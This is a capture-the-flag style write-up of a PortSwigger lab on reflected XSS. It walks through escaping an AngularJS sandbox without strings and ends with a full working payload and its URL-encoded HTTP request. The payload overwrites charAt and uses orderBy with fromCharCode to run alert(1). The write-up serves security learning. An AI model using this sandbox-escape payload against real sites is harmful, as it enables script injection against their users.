Reflected XSS with AngularJS sandbox escape without strings
Description
This lab uses AngularJS in an unusual way where the $eval
function is not available and you will be unable to use any strings in AngularJS.
To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the alert
function without using the $eval
function.
Approach
After accessing the lab, I intercepted the search request, which had an interesting response:
GET /?search=ichyaboy HTTP/1.1
Host: 0ad4002f031b204181749de300fe00c9.web-security-academy.net
Cookie: session=s08cx02MH7REWeLS5ZWWlKmCngub512m
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...
The response contained this script:
<script>
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = 'ichyaboy';
$scope.value = $parse(key)($scope.query);
});
</script>
I noticed that my input data is being passed as a value to the $scope.query[key]
variable, but the interesting part is this line:
$scope.value = $parse(key)($scope.query);
It parses the key
, which in this case is the search parameter, and then evaluates it with $scope.query
. Since this part is parsed, it is where the injection should occur. To confirm this, I added a new parameter to create a new key and tried injecting an AngularJS expression to see if it gets parsed properly:
GET /?search=1&ichyaboy=6 HTTP/2
Host: 0ad4002f031b204181749de300fe00c9.web-security-academy.net
Cookie: session=s08cx02MH7REWeLS5ZWWlKmCngub512m
...
I added a new parameter called ichyaboy
with the value 6
. Checking the response:
<script>
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '1';
$scope.value = $parse(key)($scope.query);
var key = 'ichyaboy';
$scope.query[key] = '6';
$scope.value = $parse(key)($scope.query);
});
</script>
A new key is added. Now, I will inject an Angular expression instead of the ichyaboy
key:
GET /?search=1&3%2b3=3 HTTP/2
Host: 0ad4002f031b204181749de300fe00c9.web-security-academy.net
Cookie: session=s08cx02MH7REWeLS5ZWWlKmCngub512m
...
The payload was simply 3+3
, but I had to URL-encode the +
character. Checking the response, I see that it prints the result:
4 search results for 6
Note: I didn't use {{}}
in the payload to declare an expression because the parse
function treats its argument as an expression, so I typed my payload directly.
The injection of the Angular expression is confirmed, but the main goal is to run JavaScript code that triggers an alert. Simple Angular expressions can't do that due to the AngularJS sandbox. First, I need to escape this sandbox, then go for the XSS.
Consulting the XSS cheat sheet from PortSwigger, under "AngularJS sandbox escapes reflected," I found a payload to bypass the sandbox without using strings:
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
This payload contains 2 parts:
toString().constructor.prototype.charAt=[].join;
: This part escapes the sandbox by overwriting thecharAt
function, which normally parses a single character and passes it to theisIdent
function. By overwritingcharAt
, it passes multiple characters instead, causing theisIdent
function to always returntrue
.
isIdent= function(ch) {
return ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
'_' === ch || ch === '$');
}
isIdent('x9=9a9l9e9r9t9(919)')
[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
: This part filters the array[1,2]
using the|
character and theorderBy
function. It constructs the stringx=alert(1)
usingfromCharCode
to bypass string restrictions. When executed, it looks like:
[1,2]|orderBy:'x=alert(1)'
These steps are necessary to bypass the sandbox filters.
Now, I need to inject this payload into a new parameter to create a new key that will be parsed and executed, resulting in an XSS:
GET /?search=1&toString().constructor.prototype.charAt%3d[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=3 HTTP/2
Host: 0ad4002f031b204181749de300fe00c9.web-security-academy.net
Cookie: session=s08cx02MH7REWeLS5ZWWlKmCngub512m
...
After sending this request, I saw that the lab was solved.